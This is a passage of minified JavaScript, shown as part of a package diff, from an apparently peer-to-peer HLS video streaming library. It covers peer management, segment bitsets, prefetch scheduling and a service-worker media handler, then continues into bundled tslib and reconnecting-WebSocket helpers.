this.engine.getExtraForStats&&(i=this.engine.getExtraForStats()),r=Object.assign({},r,i),this.lastStats=JSON.parse(JSON.stringify(r)),Object.keys(r).forEach((e=>{0===r[e]&&delete r[e]})),this.exptMsg&&(r.exptMsg="2.1.0 "+this.exptMsg),r}get _requestHeader(){const e={};return this.native&&(e.token=this.key),e}}const server=Server;function genV(e,t,r,i,n){const s=location.hostname;var a,o,l,d,h,u;return(a=s,o=t,l=r,d=i,h=n,u=e,md5_default()(a+o+l+d+h,u)).substr(0,8)}const LIVE_SN_LIMIT=20;class BitsetManager{constructor(e=!1,t){this.isLive=e,this.levelMap=new Map;for(let e in t){const r=new Set(t[e]);this.levelMap.set(Number(e),r)}}totalLevels(){return this.levelMap.size}has(e,t){const r=this._createOrGetSet(t);return-1===t?r.some((t=>t.has(e))):r.has(e)}delete(e,t){const r=this._createOrGetSet(t);return-1===t?(this.levelMap.forEach((t=>{t.delete(e)})),!0):r.delete(e)}add(e,t){this._createOrGetSet(t).add(e),this.isLive&&this._trimBitset(e)}array(e,t){const r=this._createOrGetSet(t);return Array.from(r)}allArray(){let e={};return this.levelMap.forEach(((t,r)=>{e[r]=Array.from(t)})),e}clear(){this.levelMap.forEach((e=>{e.clear()}))}size(e){return this._createOrGetSet(e).size}_createOrGetSet(e){if(void 0===e?(console.error("bitset level is undefined"),e=0):"number"!=typeof e&&(console.error("bitset level is not number"),e=Number(e)),-1===e)return this.levelMap.values();let t=this.levelMap.get(e);return t||(t=new Set,this.levelMap.set(e,t)),t}_trimBitset(e){const t=e-LIVE_SN_LIMIT;t>0&&this.levelMap.forEach((e=>{e.delete(t)}))}}class BitCountsManager{constructor(){this.levelMap=new Map}totalLevels(){return this.levelMap.size}has(e,t){return this._createOrGetMap(t).has(e)}delete(e,t){return this._createOrGetMap(t).delete(e)}decre(e,t){const r=this._createOrGetMap(t);if(r.has(e)){let t=r.get(e);1===t?r.delete(e):r.set(e,t-1)}}incre(e,t){const r=this._createOrGetMap(t);if(r.has(e)){let t=r.get(e);r.set(e,t+1)}else r.set(e,1)}clear(){this.levelMap.forEach((e=>{e.clear()}))}size(e){return this._createOrGetMap(e).size}_createOrGetMap(e){void 0===e?(console.error("bitCounts level is undefined"),e=0):"number"!=typeof e&&(console.error("bitCounts level is not number"),e=Number(e));let t=this.levelMap.get(e);return t||(t=new Map,this.levelMap.set(e,t)),t}}class PeerManager{constructor(){this.peerMap=new Map}isEmpty(){return 0===this.peerMap.size}size(){return this.peerMap.size}clear(){this.peerMap.clear()}getPeers(){return[...this.peerMap.values()]}getPeerValues(){return this.peerMap.values()}hasPeer(e){return this.peerMap.has(e)}addPeer(e,t){this.peerMap.set(e,t)}getPeerIds(){return[...this.peerMap.keys()]}removePeer(e){this.peerMap.delete(e)}getPeersOrderByWeight(){const e=this.getPeers().filter((e=>e.isAvailableUrgently));return e.sort(((e,t)=>0===t.weight?1:0===e.weight?-1:t.weight-e.weight)),e}getPeer(e){return this.peerMap.get(e)}getAvailablePeers(){return this.getPeers().filter((e=>e.isAvailable))}}const peer_manager=PeerManager,CHECK_CONN_INTERVAL=50,MAX_NO_EXCHANGE_TIME=120,_shareOnly=Symbol("shareOnly");class SchedulerBase extends(events_default()){constructor(e,t){super(),this.engine=e,this.config=t,this.logger=e.logger,this.bufMgr=null,this.peerManager=new peer_manager,this._setupEngine&&this._setupEngine(),this.loadedPeerNum=0,this.startCheckConnsTimer(),this.dcDownloadTimeout=t.dcDownloadTimeout,this[_shareOnly]=!1,this.downloadOnly=!1}startCheckConnsTimer(){this.checkConnsTimer=setInterval((()=>{this.logger.info("start check conns");const{currentLevel:e}=this.engine;let t=this.peersNum;const r=this.subscribers,i=r&&r.length>0?r.length:void 0,n=getCurrentTs();this.getPeers().forEach((r=>{n-r.dataExchangeTs>MAX_NO_EXCHANGE_TIME&&(n-r.gotStatsTs>=2*CHECK_CONN_INTERVAL+3||void 0!==e&&r.currentLevel!==e)?(this.logger.warn(`close dead or different level peer ${r.remotePeerId} level ${r.currentLevel}`),r.close(!1),t--):r.connected&&r.sendMsgStats(t,i,e||0)}))}),1e3*CHECK_CONN_INTERVAL)}getNonactivePeers(){const e=getCurrentTs();return this.getPeers().filter((t=>e-t.dataExchangeTs>MAX_NO_EXCHANGE_TIME)).sort(((e,t)=>e.dataExchangeTs-t.dataExchangeTs))}requestPeers(){this.logger.info("request peers from peers");const e={event:events.DC_GET_PEERS};this._broadcastToPeers(e)}chokePeerRequest(e){const t={event:events.DC_CHOKE};e?e.sendJson(t):this._broadcastToPeers(t)}unchokePeerRequest(e){const t={event:events.DC_UNCHOKE};e?e.sendJson(t):this._broadcastToPeers(t)}stopRequestFromPeers(){for(let e of this.peerManager.getPeerValues())e.choked=!0}resumeRequestFromPeers(){for(let e of this.peerManager.getPeerValues())e.choked=!1}setShareOnly(){this[_shareOnly]=!0}deletePeer(e){this.peerManager.hasPeer(e.remotePeerId)&&this.peerManager.removePeer(e.remotePeerId),this._peersStats(this.peerManager.getPeerIds())}getPeers(){return[...this.peerManager.getPeerValues()]}addPeer(e){const{logger:t}=this;this.peerManager.addPeer(e.remotePeerId,e),this[_shareOnly]&&(e.choked=!0);const r=this.peerManager.getPeerIds();this._peersStats(r),t.info(`add peer ${e.remotePeerId}, now has ${r.length} peers`),e.isInitiator&&this.peersNum<=5&&e.peersConnected>1&&e.sendPeersRequest()}get hasPeers(){return this.peersNum>0}get peersNum(){return this.peerManager.size()}get hasIdlePeers(){const e=this._getIdlePeer().length;return this.logger.info(`peers: ${this.peersNum} idle peers: ${e}`),e>0}set bufferManager(e){this.bufMgr=e,e.on(events.BM_LOST,(({sn:e,segId:t,next:r,level:i})=>{this.config.live||this._broadcastToPeers({event:events.DC_LOST,sn:e,seg_id:t,level:i||void 0}),this.onBufferManagerLost(e,t,r,i)})).on(events.BM_SEG_ADDED,(e=>{this.onBufferManagerSegAdded(e)}))}onBufferManagerSegAdded(e){}destroy(){const{logger:e}=this;this.peersNum>0&&this.peerManager.clear(),this.removeAllListeners(),clearInterval(this.checkConnsTimer),e.warn("destroy BtScheduler")}notifyPeersLoaded(e){}_setupDC(e){const{logger:t}=this;e.on(events.DC_PIECE_ACK,(r=>{r.size&&this.engine.fetcher.reportUploaded(r.size),t.info(`uploaded ${r.seg_id} to ${e.remotePeerId}`)})).on(events.DC_TIMEOUT,(e=>{})).on(events.DC_PIECE_ABORT,(r=>{t.warn(`peer ${e.remotePeerId} download aborted, reason ${r.reason}`),e.downloading&&this._handlePieceAborted&&this._handlePieceAborted(e.remotePeerId),e.downloading=!1}))}_broadcastToPeers(e){for(let t of this.peerManager.getPeerValues())t.sendJson(e)}_getIdlePeer(){return this.peerManager.getAvailablePeers()}_peersStats(e){this.engine.emit("peers",e);const t=this.engine.config.getPeersInfo;t&&"function"==typeof t&&t(e)}}const scheduler_base=SchedulerBase;class RequestingMap{constructor(){this.internalMap=new Map}has(e,t){return this.internalMap.has(this._generateId(e,t))}set(e,t,r){const i=this._generateId(e,t);if(this.internalMap.has(i)){const e=this.internalMap.get(i);if(e&&!e.includes(r))return void e.push(r)}this.internalMap.set(i,[r])}getAllPeerIds(e,t){const r=this.internalMap.get(this._generateId(e,t));return r||[]}getOnePeerId(e,t){const r=this._generateId(e,t);if(this.internalMap.has(r)){if(this.internalMap.get(r))return this.internalMap.get(r)[0]}return null}delete(e,t){this.internalMap.delete(this._generateId(e,t))}_generateId(e,t){return void 0===t?(console.error("RequestingMap level is undefined"),t=0):"number"!=typeof t&&(console.error("RequestingMap level is not number"),t=Number(t)),`${t}-${e}`}}const MIN_P2P_LOAD_TIME=2,VOD_MAX_PREFETCH_COUNT=150,Live_MAX_PREFETCH_COUNT=10;class Scheduler extends scheduler_base{constructor(e,t){super(e,t),this.bitset=new BitsetManager(t.live||!1),this.bitCounts=new BitCountsManager,this.requestingMap=new RequestingMap,this.sequential=!0,this.allowP2pLimit=t.httpLoadTime+MIN_P2P_LOAD_TIME,this.playlistInfo=new Map,this.loadedPeerNum=0,this.isUploader=!1,this.isReceiver=!1,this.targetPeers=[],this.mBufferedDuration=0,this.loadingSegId="",this.loadingSN=0,this.currPlaySN=0,this.currLostSN=-1,this.nextLostSN=-1,this.config.live?this.maxPrefetchCount=Live_MAX_PREFETCH_COUNT:(this.maxPrefetchCount=VOD_MAX_PREFETCH_COUNT,this.startCheckPeersTimer())}handshakePeer(e){this._setupDC(e),e.sendMetaData(this.bitset.allArray(),this.sequential,this.peersNum)}_setupDC(e){super._setupDC(e),e.on(hls_de_events.DC_HAVE,(t=>{if(t.sn&&e.bitset&&t.sn&&t.sn>=0){const{sn:r,level:i}=t;e.bitset.has(r,i)||(e.bitset.add(r,i),this.bitset.has(r,i)||this.bitCounts.incre(r,i)),this.emit(hls_de_events.SCH_DCHAVE,t.seg_id)}})).on(hls_de_events.DC_LOST,(t=>{if(!t.sn||!e.bitset)return;const{sn:r,level:i}=t;e.bitset.has(r,i)&&(e.bitset.delete(r,i),this.bitCounts.decre(r,i))})).on(hls_de_events.DC_PIECE_DATA,((t,r,i,n,s,a)=>{1===n&&e.pieceMsg.ext&&e.pieceMsg.ext.incompletes>=2&&this.notifyAllPeers(t,a.level,r)})).on(hls_de_events.DC_PIECE,(e=>{e.ext&&e.ext.incompletes>=2||this.notifyAllPeers(e.sn,e.level,e.seg_id)})).on(hls_de_events.DC_PIECE_NOT_FOUND,(t=>{const{sn:r,level:i}=t;e.bitset.delete(r,i),this.requestingMap.delete(r,i),this.bitCounts.decre(r,i),e.checkIfNeedChoke()})).on(hls_de_events.DC_REQUEST,(t=>{const{logger:r}=this,{sn:i,level:n}=t;this.isUploader=!0;let s=t.seg_id;s||(s=this.bufMgr.getSegIdBySN(i));let a=null;this.requestingMap.has(i,n)&&(a=this.getPeerLoadedMore(i,n));const o=this.bufMgr.getSegById(s);o?(r.info("found seg from bufMgr"),o.level===n?e.sendBuffer(o.sn,o.segId,o.data,{from:"SegmentFromCache",level:o.level}):e.sendPieceNotFound(i,s,{level:n})):a&&a.downloading&&a.pieceMsg.sn===i&&a.pieceMsg.level===n?(r.info(`target had ${a.bufArr.length} packets, wait for remain from upstream ${a.remotePeerId}`),e.sendPartialBuffer(a.pieceMsg,a.bufArr,{from:"WaitForPartial",incompletes:1}),function(e,t){e.addDownloadListener(((e,r,i,n,s)=>{i?t.sendMsgPieceAbort(n):t.send(n),s&&(t.uploading=!1)}))}(a,e)):(r.info(`peer request ${i} wait for seg`),this.bufMgr.once(`${hls_de_events.BM_ADDED_SN_}${i}`,(t=>{t&&t.level===n?(r.info(`peer request notify seg ${t.sn}`),e.sendBuffer(t.sn,t.segId,t.data,{from:"NotifySegment",level:t.level})):e.sendPieceNotFound(i,s,{level:n})})))}))}handleMetaData(e,t){if(t.field){e.bitset=new BitsetManager(this.config.live,t.field);for(let e in t.field){const r=Number(e);t.field[r].forEach((e=>{this.bitset.has(e,r)||this.bitCounts.incre(e,r)}))}this.addPeer(e),this.downloadOnly&&this.chokePeerRequest(e)}}peersHas(e,t){return this.bitCounts.has(e,t)}deletePeer(e){if(this.peerManager.hasPeer(e.remotePeerId)){const t=e.bitset.allArray();for(let e in t){const r=Number(e),i=t[r];i&&i.forEach((e=>{this.bitCounts.decre(e,r)}))}}this.cleanRequestingMap(e.remotePeerId),super.deletePeer(e)}hasAndSetTargetPeer(e,t,r){const{logger:i,config:n}=this;if(r<=this.allowP2pLimit)return!1;if(this.requestingMap.has(e,t)){const s=this.requestingMap.getOnePeerId(e,t),a=this.peerManager.getPeer(s);return a?!(performance.now()-a.timeSendRequest>3e3&&!a.shouldWaitForRemain(1e3*(r-n.httpLoadTime))&&this._searchAvailablePeers(e,t,1))||(i.warn(`${s} prefetch timeout at ${e}`),this.targetPeers.push(a),this.requestingMap.delete(e,t),!0):this._searchAvailablePeers(e,t)}return this._searchAvailablePeers(e,t)}_searchAvailablePeers(e,t,r=5){if(!this.hasIdlePeers||!this.peersHas(e,t))return!1;let i=0;for(let n of this.peerManager.getPeersOrderByWeight())if(n.bitset.has(e,t)&&(this.logger.info(`found ${e} from peer ${n.remotePeerId}`),this.targetPeers.push(n),i++,i===r||i===this.config.simultaneousTargetPeers))return!0;return this.targetPeers.length>0}reportDCTraffic(e,t,r,i){if(!this.engine.fetcher)return void this.logger.error("DC report failed");const{fetcher:n}=this.engine;let s=r;this.bitset.has(e,t)||n.reportDCTraffic(s,i)}notifyAllPeers(e,t,r,i=[]){const{live:n}=this.config;if(!this.bitset.has(e,t))for(let s of this.peerManager.getPeerValues())if(!s.notifySet.has(e)&&!s.bitset.has(e,t)&&!i.includes(s.remotePeerId)&&(s.sendMsgHave(e,r,{level:t}),s.notifySet.add(e),n)){const t=e-20;t>0&&s.notifySet.delete(t)}}startCheckPeersTimer(e=1){this.logger.info(`loaded peers ${this.loadedPeerNum} next checkDelay is ${e}`),this.loadedPeerNum=0,this.checkTimer||(this.checkTimer=setTimeout((()=>{this.checkPeers(),this.checkTimer=null,this.startCheckPeersTimer(calCheckPeersDelay(this.loadedPeerNum))}),1e3*e))}checkPeers(){if(!this.hasPeers)return;const{logger:e,config:t,engine:r}=this,i=t.live,{currentLevel:n}=r;if(e.info(`currentLevel ${n}`),0===this.bitCounts.size(n))return;if(!i&&this.nextLostSN>=0&&this.nextLostSN>=this.currPlaySN-10)return;if(this.mBufferedDuration<this.allowP2pLimit)return void e.info("low buffer time, skip prefetch");const s=this.peerManager.getPeersOrderByWeight();if(0===s.length)return;const a=[],{prefetchNum:o,endSN:l,startSN:d}=t;let h=0,u=i?this.loadingSN+1:this.loadingSN+2;if(!i)if(this.loadingSN>=l&&!this.bufMgr.overflowed)u=d;else{const e=Math.min(...s.filter((e=>e.endSN>=u)).map((e=>e?e.startSN:1/0)));if(!isFinite(e))return;u<e&&(u=e)}for(;a.length<=o&&a.length<s.length&&h<this.maxPrefetchCount;){if(!i&&u>l)return;if(this.bitset.has(u,n))u++;else{if(u!==this.loadingSN&&this.bitCounts.has(u,n)&&!this.requestingMap.has(u,n))for(let t of s)if(!a.includes(t)&&t.bitset.has(u,n)){t.requestDataBySN(u,!1,{level:n}),e.info(`request prefetch ${u} level ${n} from peer ${t.remotePeerId} downloadNum ${t.downloadNum}`),a.push(t),this.requestingMap.set(u,n,t.remotePeerId);break}h++,u++}}this.loadedPeerNum=a.length}onBufferManagerLost(e,t,r,i){this.currLostSN=e,r&&(this.nextLostSN=r),this.bitset.delete(e,i),this.bitCounts.delete(e,i)}cleanRequestingMap(e){const t=this.peerManager.getPeer(e);for(let[r,i]of this.requestingMap.internalMap){const n=r.split("-"),s=Number(n[1]),a=Number(n[0]);i&&i.includes(e)&&(this.logger.info(`delete ${r} in requestingMap`),this.requestingMap.delete(s,a),this.bitCounts.decre(s,a),t&&t.bitset.delete(s,a))}}shouldWaitForNextSeg(){let e;return e=!this.isUploader&&(!!this.isReceiver||randomNum(0,100)>20),this.isReceiver=this.isUploader=!1,e}getPeerLoadedMore(e,t){if(!this.requestingMap.has(e,t))return null;const r=this.requestingMap.getAllPeerIds(e,t);if(0===r.length)return null;let i=this.peerManager.getPeer(r[0]);if(!i)return null;if(r.length>1)for(let e=1;e<r.length;e++){const t=this.peerManager.getPeer(r[e]);t&&t.bufArr.length>i.bufArr.length&&(i=t)}return i}updateLoaded(e,t){this.bitset.has(e,t)||(this.bitset.add(e,t),this.bitCounts.has(e,t)&&this.bitCounts.delete(e,t))}broadcastPlaylist(e,t){if(!this.config.live)return;const r=getMaxSequence(t);for(let i of this.peerManager.getPeerValues())i.sendMsgPlaylist(e,t,r);this.playlistInfo.set(e,{seq:r})}getPlaylistFromPeer(e){if(!this.config.live)return null;const{seq:t}=this.playlistInfo.get(e);for(let r of this.peerManager.getPeerValues()){const i=r.getLatestPlaylist(e,t);if(i)return i}return null}getBufferedDuration(){let{media:e}=this.engine;if(!e){if(this.logger.info("try get video element"),e=tryGetVideoElement(this.config.videoElem),!e)return 5;this.engine.media=e}let t=0,r=e.currentTime,i=e.buffered;for(let e=i.length-1;e>=0;e--)if(r>=i.start(e)&&r<=i.end(e)){t=i.end(e)-r;break}return this.logger.info(`bufferedDuration ${t}`),this.mBufferedDuration=t,t>0?t:0}destroy(){super.destroy(),clearTimeout(this.checkTimer)}}const MIN_TIME_FOR_LOAD=7.5,MAX_TIME_FOR_WAIT=4;class HlsSwScheduler extends Scheduler{constructor(e,t){super(e,t),this.server=t.fetcher,this.p2pEnabled=e.p2pEnabled,this.resolveMap=new Map,this.dcDownloadTimeout=10,this.fragMap=new Map,this.segmentId=t.segmentId}async handleGetMediaData(e,t){const{logger:r,config:i}=this;let{url:n,range:s}=e;s&&(n=`${n}|${s}`);const a=this.fragMap.get(n);if(!a)return r.info(`cannot get frag ${n}`),t.postMessage({action:hls_de_events.SW_GET_MEDIA});this.engine.currentLevelIndex=a.level;const{sn:o,baseurl:l,level:d}=a,h=this.segmentId(String(d),o,e.url,s);this.loadingSN=o,this.loadingSegId=h;const u=this.bufMgr.getSegById(h);if(u)return r.info(`bufMgr found seg sn ${o} segId ${h}`),a.loaded=u.data.byteLength,a.fromPeerId=u.fromPeerId,this.engine.emit(hls_de_events.FRAG_LOADED,{url:e.url,sn:o,level:d,segId:h,loaded:a.loaded,duration:a.duration,byP2p:!!u.fromPeerId,fromPeerId:u.fromPeerId}),this._onFragLoaded(e.url,a),t.postMessage({action:hls_de_events.SW_GET_MEDIA,data:{url:e.url,buffer:u.data,incomplete:!1}});if(this.resolveMap.has(o))return r.warn(`${o} is requesting, fallback`),void t.postMessage({action:hls_de_events.SW_GET_MEDIA});const c=this.getBufferedDuration();if(this.hasAndSetTargetPeer(o,d,c)){await this._loadFragByP2p(a,t,o,h,e.url,d)||(this.notifyAllPeers(o,d,h),t.postMessage({action:hls_de_events.SW_GET_MEDIA}))}else if(i.live&&void 0===this.waitTimer&&c>MIN_TIME_FOR_LOAD&&this.shouldWaitForNextSeg()){let i,n=c-MIN_TIME_FOR_LOAD;n>MAX_TIME_FOR_WAIT&&(n=MAX_TIME_FOR_WAIT);const s=async r=>{h===r&&(this.off(hls_de_events.SCH_DCHAVE,s),clearTimeout(this.waitTimer),this.waitTimer=void 0,this.hasAndSetTargetPeer(o,d,c)&&(i=await this._loadFragByP2p(a,t,o,h,e.url,d)),i||(this.notifyAllPeers(o,d,h),t.postMessage({action:hls_de_events.SW_GET_MEDIA})))};r.info(`wait peer have ${h} for ${n}s`),this.on(hls_de_events.SCH_DCHAVE,s),this.waitTimer=setTimeout((()=>{this.off(hls_de_events.SCH_DCHAVE,s),this.notifyAllPeers(o,d,h),t.postMessage({action:hls_de_events.SW_GET_MEDIA}),this.waitTimer=void 0}),1e3*n)}else t.postMessage({action:hls_de_events.SW_GET_MEDIA}),this.notifyAllPeers(o,d,h)}async _loadFragByP2p(e,t,r,i,n,s){const{logger:a}=this;a.info(`p2p load sn ${r} segId ${i} level ${s}`);const o=await this.load(r,i,s);if(o&&o.data){const{data:l,incomplete:d,fromPeerId:h}=o;if(!d&&!this.bufMgr.hasSegOfId(i)){const e=new core_segment(r,i,l,h,s);a.info(`bufMgr putSeg ${r} level ${s}`),this.bufMgr.putSeg(e)}return a.info(`p2p loaded segId ${i} level ${s} size ${l.byteLength} incomplete ${d}`),e.loaded=l.byteLength,e.fromPeerId=h,this.engine.emit(hls_de_events.FRAG_LOADED,{url:n,sn:r,level:s,segId:i,loaded:e.loaded,duration:e.duration,byP2p:!0,fromPeerId:h}),this._onFragLoaded(l.url,e),t.postMessage({action:hls_de_events.SW_GET_MEDIA,data:{url:l.url,buffer:l,incomplete:d}}),!0}a.warn(`P2P timeout load segId ${i}`);const l=this.bufMgr.getSegById(i);return!!l&&(a.info(`already loaded seg sn ${r} segId ${i}`),t.postMessage({action:hls_de_events.SW_GET_MEDIA,data:{url:n,buffer:l.data,incomplete:!1}}),!0)}handleMediaData(e,t){const{config:r,logger:i,engine:n}=this;let{url:s,buffer:a,range:o}=e;if(n.rangeTestUrl===s)return void(n.rangeTestUrl="");i.info(`SW_MEDIA url ${s} size ${a.byteLength} range ${o}`),o&&(s=`${s}|${o}`),this.server.reportFlow(a.byteLength);const l=this.fragMap.get(s);if(l){const{sn:t,level:r,baseurl:s}=l,d=this.segmentId(String(r),t,e.url,o);if(l.segId=d,l.loaded=a.byteLength,n.emit(hls_de_events.FRAG_LOADED,{url:e.url,sn:t,level:r,segId:d,loaded:l.loaded,duration:l.duration,byP2p:!1}),this._onFragLoaded(e.url,l),!this.bufMgr.hasSegOfId(d)){const e=new core_segment(t,d,a,"",r);this.bufMgr.putSeg(e),i.info(`bufMgr putSeg ${d} level ${r}`)}}t.postMessage({action:hls_de_events.SW_MEDIA})}_setupEngine(){}notifySWMessage(e,t,r){switch(e){case hls_de_events.SW_MEDIA:this.handleMediaData(t,r);break;case hls_de_events.SW_GET_MEDIA:this.handleGetMediaData(t,r);break;default:this.logger.warn(`unknown action ${e}`)}}destroy(){super.destroy();for(let e of this.resolveMap.values())e.criticaltimeouter&&clearTimeout(e.criticaltimeouter);this.logger.warn("destroy HlsSwScheduler")}_criticaltimeout(e,t=!1){const{logger:r,config:i}=this,n=this.resolveMap.get(e);if(!n)return void r.warn("_criticaltimeout no promise");const{level:s}=n;let a;r.info(`critical request ${e} level ${s} timeout`),this.requestingMap.has(e,s)&&(a=this.getPeerLoadedMore(e,s));let o=!1;if(a&&(o=!a.loadtimeout()),o)return void r.info("p2p download completed");const l=1e3*i.httpLoadTime-500;if(t&&a&&a.shouldWaitForRemain(l))return r.info(`wait for peer load remain of ${e}`),void(this.criticaltimeouter=setTimeout(this._criticaltimeout.bind(this,e),l+200));if(i.httpRangeSupported&&a&&a.bufArr.length>0){let e=utils_buffer.l.concat(a.bufArr);n.resolve({data:e,fromPeerId:a.remotePeerId,incomplete:!0})}else n.resolve();this.resolveMap.delete(e)}_handlePieceAborted(e){for(let[t,r]of this.requestingMap.internalMap)if(r&&r.includes(e)){const i=t.split("-"),n=Number(i[1]),s=Number(i[0]);if(1===r.length){if(this.resolveMap.has(n)){const e=this.resolveMap.get(n);clearTimeout(e.criticaltimeouter),this._criticaltimeout(n),this.resolveMap.delete(n)}this.logger.info(`delete ${n} in requestingMap`),this.requestingMap.delete(n,s)}else this.requestingMap.internalMap.set(t,r.filter((t=>t!==e)))}}_onFragLoaded(e,t){if(this.updateLoaded(t.sn,t.level),!this.engine)return;const{media:r,targetDuration:i}=this.engine;!this.config.live&&r&&i&&(this.currPlaySN=Math.ceil(r.currentTime/i))}load(e,t,r){const{logger:i}=this;this.isReceiver=!0;let n=this.mBufferedDuration-this.config.httpLoadTime;n>this.dcDownloadTimeout&&(n=this.dcDownloadTimeout);const s=new Promise((t=>{const i={resolve:t,sn:e,level:r,incomplete:!1,criticaltimeouter:setTimeout(this._criticaltimeout.bind(this,e,!1),1e3*n),numPeer:this.targetPeers.length||1};this.resolveMap.set(e,i)}));if(this.requestingMap.has(e,r))i.info(`wait for criticalSeg sn ${e} timeout ${n}`);else for(let s of this.targetPeers)s.requestDataById(t,e,!0,{level:r}),this.requestingMap.set(e,r,s.remotePeerId),i.info(`request criticalSeg sn ${e} level ${r} from ${s.remotePeerId} timeout ${n}`);return this.targetPeers=[],s}_setupDC(e){super._setupDC(e);const{logger:t,config:r}=this;e.on(hls_de_events.DC_HAVE,(e=>{queue_microtask_default()((()=>{r.live&&0===this.resolveMap.size&&this.checkPeers()}))})).on(hls_de_events.DC_PIECE,(t=>{this.requestingMap.set(t.sn,t.level,e.remotePeerId)})).on(hls_de_events.DC_PIECE_NOT_FOUND,(e=>{const{sn:r,level:i}=e;if(this.resolveMap.has(r)){const e=this.resolveMap.get(r);1===e.numPeer?(this.resolveMap.delete(r),clearTimeout(e.criticaltimeouter),t.info(`DC_PIECE_NOT_FOUND ${r}`),e.resolve()):e.numPeer>1&&e.numPeer--}})).on(hls_de_events.DC_RESPONSE,((r,i)=>{const{config:n}=this,{segId:s,sn:a,data:o,level:l}=r,d=this.resolveMap.has(a);if(n.validateSegment(s,o))if(this.notifyAllPeers(a,l,s),super.reportDCTraffic(a,l,r.size,i),d){t.info(`receive criticalSeg seg_id ${s}`);const r=this.resolveMap.get(a);this.resolveMap.delete(a),clearTimeout(r.criticaltimeouter),e.miss=0,r.resolve({data:o,fromPeerId:e.remotePeerId})}else{if(this.bitset.has(a,l))return;const t=new core_segment(a,s,o,e.remotePeerId,l);this.bufMgr.putSeg(t),this.updateLoaded(a,l)}else if(t.warn(`segment ${s} validate failed`),d){const e=this.resolveMap.get(a);this.resolveMap.delete(a),clearTimeout(e.criticaltimeouter),e.resolve()}this.requestingMap.delete(a,l),n.live&&0===this.resolveMap.size&&this.checkPeers()}))}}const hls_sw_scheduler=HlsSwScheduler;
|
|
80
|
-
/*! *****************************************************************************
|
|
81
|
-
Copyright (c) Microsoft Corporation. All rights reserved.
|
|
82
|
-
Licensed under the Apache License, Version 2.0 (the "License"); you may not use
|
|
83
|
-
this file except in compliance with the License. You may obtain a copy of the
|
|
84
|
-
License at http://www.apache.org/licenses/LICENSE-2.0
|
|
85
|
-
|
|
86
|
-
THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
|
87
|
-
KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED
|
|
88
|
-
WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,
|
|
89
|
-
MERCHANTABLITY OR NON-INFRINGEMENT.
|
|
90
|
-
|
|
91
|
-
See the Apache Version 2.0 License for specific language governing permissions
|
|
92
|
-
and limitations under the License.
|
|
93
|
-
***************************************************************************** */
|
|
94
|
-
var extendStatics=function(e,t){return extendStatics=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var r in t)t.hasOwnProperty(r)&&(e[r]=t[r])},extendStatics(e,t)};function __extends(e,t){function r(){this.constructor=e}extendStatics(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}function __values(e){var t="function"==typeof Symbol&&e[Symbol.iterator],r=0;return t?t.call(e):{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}}}function __read(e,t){var r="function"==typeof Symbol&&e[Symbol.iterator];if(!r)return e;var i,n,s=r.call(e),a=[];try{for(;(void 0===t||t-- >0)&&!(i=s.next()).done;)a.push(i.value)}catch(e){n={error:e}}finally{try{i&&!i.done&&(r=s.return)&&r.call(s)}finally{if(n)throw n.error}}return a}function __spread(){for(var e=[],t=0;t<arguments.length;t++)e=e.concat(__read(arguments[t]));return e}var Event=function(e,t){this.target=t,this.type=e},ErrorEvent=function(e){function t(t,r){var i=e.call(this,"error",r)||this;return i.message=t.message,i.error=t,i}return __extends(t,e),t}(Event),CloseEvent=function(e){function t(t,r,i){void 0===t&&(t=1e3),void 0===r&&(r="");var n=e.call(this,"close",i)||this;return n.wasClean=!0,n.code=t,n.reason=r,n}return __extends(t,e),t}(Event),getGlobalWebSocket=function(){if("undefined"!=typeof WebSocket)return WebSocket},isWebSocket=function(e){return void 0!==e&&!!e&&2===e.CLOSING},DEFAULT={maxReconnectionDelay:1e4,minReconnectionDelay:1e3+4e3*Math.random(),minUptime:5e3,reconnectionDelayGrowFactor:1.3,connectionTimeout:4e3,maxRetries:1/0,maxEnqueuedMessages:1/0,startClosed:!1,debug:!1},ReconnectingWebSocket=function(){function e(e,t,r){var i=this;void 0===r&&(r={}),this._listeners={error:[],message:[],open:[],close:[]},this._retryCount=-1,this._shouldReconnect=!0,this._connectLock=!1,this._binaryType="blob",this._closeCalled=!1,this._messageQueue=[],this.onclose=null,this.onerror=null,this.onmessage=null,this.onopen=null,this._handleOpen=function(e){i._debug("open event");var t=i._options.minUptime,r=void 0===t?DEFAULT.minUptime:t;clearTimeout(i._connectTimeout),i._uptimeTimeout=setTimeout((function(){return i._acceptOpen()}),r),i._ws.binaryType=i._binaryType,i._messageQueue.forEach((function(e){return i._ws.send(e)})),i._messageQueue=[],i.onopen&&i.onopen(e),i._listeners.open.forEach((function(t){return i._callEventListener(e,t)}))},this._handleMessage=function(e){i._debug("message event"),i.onmessage&&i.onmessage(e),i._listeners.message.forEach((function(t){return i._callEventListener(e,t)}))},this._handleError=function(e){i._debug("error event",e.message),i._disconnect(void 0,"TIMEOUT"===e.message?"timeout":void 0),i.onerror&&i.onerror(e),i._debug("exec error listeners"),i._listeners.error.forEach((function(t){return i._callEventListener(e,t)})),i._connect()},this._handleClose=function(e){i._debug("close event"),i._clearTimeouts(),i._shouldReconnect&&i._connect(),i.onclose&&i.onclose(e),i._listeners.close.forEach((function(t){return i._callEventListener(e,t)}))},this._url=e,this._protocols=t,this._options=r,this._options.startClosed&&(this._shouldReconnect=!1),this._connect()}return Object.defineProperty(e,"CONNECTING",{get:function(){return 0},enumerable:!0,configurable:!0}),Object.defineProperty(e,"OPEN",{get:function(){return 1},enumerable:!0,configurable:!0}),Object.defineProperty(e,"CLOSING",{get:function(){return 2},enumerable:!0,configurable:!0}),Object.defineProperty(e,"CLOSED",{get:function(){return 3},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"CONNECTING",{get:function(){return e.CONNECTING},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"OPEN",{get:function(){return e.OPEN},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"CLOSING",{get:function(){return e.CLOSING},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"CLOSED",{get:function(){return e.CLOSED},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,"binaryType",{get:function(){return 